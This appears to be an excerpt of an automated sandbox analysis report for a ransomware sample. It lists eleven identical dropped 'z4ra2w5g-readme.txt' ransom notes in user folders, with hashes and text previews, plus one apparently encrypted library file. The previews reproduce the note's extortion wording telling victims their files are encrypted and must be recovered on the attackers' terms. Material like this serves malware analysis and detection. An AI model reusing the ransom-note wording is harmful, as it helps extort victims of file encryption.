                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Reputation:low
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Links\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Music\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Pictures\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Saved Games\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\Videos\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Default\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\AccountPictures\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Desktop\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Documents\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Downloads\z4ra2w5g-readme.txt
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):6928
                        Entropy (8bit):3.8723818356503363
                        Encrypted:false
                        SSDEEP:192:oHLyQ3jjZUu5jGN42sTKthBLvJbyDycD8hc:iSuau2sTEhBrJb+ycD8hc
                        MD5:F8E45B4CB92153FBFB52B8DA885CA1DE
                        SHA1:8F741D58CFB91E43D7E9F156D1008593DE73C6E3
                        SHA-256:D15544EB68334A39D904CFB0C020E848FD38D2F49DDDB9E172EF26F59DDD998E
                        SHA-512:4B1819E4E67535BE656905CF1BD0E90108352FFE27D32F0591E58FD8DE92F211C52FC631FF1A8DD04B035C104448A8D31C43821E91F21D3F2615FEE1D0934EC7
                        Malicious:false
                        Preview: -.-.-.=.=.=. .W.e.l.c.o.m.e... .A.g.a.i.n... .=.=.=.-.-.-.........[.-.]. .W.h.a.t.s. .H.a.p.P.e.n.?. .[.-.].........Y.o.u.r. .f.i.l.e.s. .a.r.e. .e.n.c.r.y.p.t.e.d.,. .a.n.d. .c.u.r.r.e.n.t.l.y. .u.n.a.v.a.i.l.a.b.l.e... .Y.o.u. .c.a.n. .c.h.e.c.k. .i.t.:. .a.l.l. .f.i.l.e.s. .o.n. .y.o.u.r. .s.y.s.t.e.m. .h.a.s. .e.x.t.e.n.s.i.o.n. .z.4.r.a.2.w.5.g.......B.y. .t.h.e. .w.a.y.,. .e.v.e.r.y.t.h.i.n.g. .i.s. .p.o.s.s.i.b.l.e. .t.o. .r.e.c.o.v.e.r. .(.r.e.s.t.o.r.e.).,. .b.u.t. .y.o.u. .n.e.e.d. .t.o. .f.o.l.l.o.w. .o.u.r. .i.n.s.t.r.u.c.t.i.o.n.s... .O.t.h.e.r.w.i.s.e.,. .y.o.u. .c.a.n.t. .r.e.t.u.r.n. .y.o.u.r. .d.a.t.a. .(.N.E.V.E.R.)...........[.+.]. .W.h.a.t. .g.u.a.r.a.n.t.e.e.s.?. .[.+.].........I.t.s. .j.u.s.t. .a. .b.u.s.i.n.e.s.s... .W.e. .a.b.s.o.l.u.t.e.l.y. .d.o. .n.o.t. .c.a.r.e. .a.b.o.u.t. .y.o.u. .a.n.d. .y.o.u.r. .d.e.a.l.s.,. .e.x.c.e.p.t. .g.e.t.t.i.n.g. .b.e.n.e.f.i.t.s... .I.f. .w.e. .d.o. .n.o.t. .d.o. .o.u.r. .w.o.r.k. .a.n.d. .l.i.a.b.i.l.i.t.i.e.s. .-. .n.o.b.o.d.
                        C:\Users\Public\Libraries\RecordedTV.library-ms
                        Process:C:\Windows\MsMpEng.exe
                        File Type:data
                        Category:dropped
                        Size (bytes):1231
                        Entropy (8bit):7.84421496015369
                        Encrypted:false
                        SSDEEP:24:Zw9QADnsR3OZ8RqMc0yRLbcak5o01PBupDg9k7sEEZSDuutrOX+:ZyIRqMcfbBF0VBupDg9k70YNOX+
                        MD5:3605E498D39CC19B0C788621211E2C02
                        SHA1:C0AD795329F14602632EA440CDB28B94CAE35105
                        SHA-256:0EC7C1749295F047979367EAF4B7FCBCC689421F513E8E5C6C04CA3B2517C389
                        SHA-512:DD9C6C624CF0A8404BFC8F9CECB038EC730F6616AD94E59493D68DDF0AE4A8A45D3169A421365FE0BC6A62A211AD5717BD5AEB3F42BD9CAAD5340599E88CA0F3
                        Malicious:false
                        Preview: .Mv..p?.){.....Ri.......(....I.\.I2Y.6as........k.&.2.r.$..f.8Q....D..k..!X..22.^..b.*....AU....B......*!._..Um.......um.@DG....X.6U....O.>~.k8...?.$.j...{..T.gi+..OX..U?t.....7....]P8IK^.u..@}R>.\..}.q?(.......e..%.Y\.w..A1.!.......R.....L]!?NUI..t5.".2]Lx.[.i..H.A..].5.h@..T.*+.2.;<..?.<j.......ak...f.#ZGg%...6...-.6&..~...3 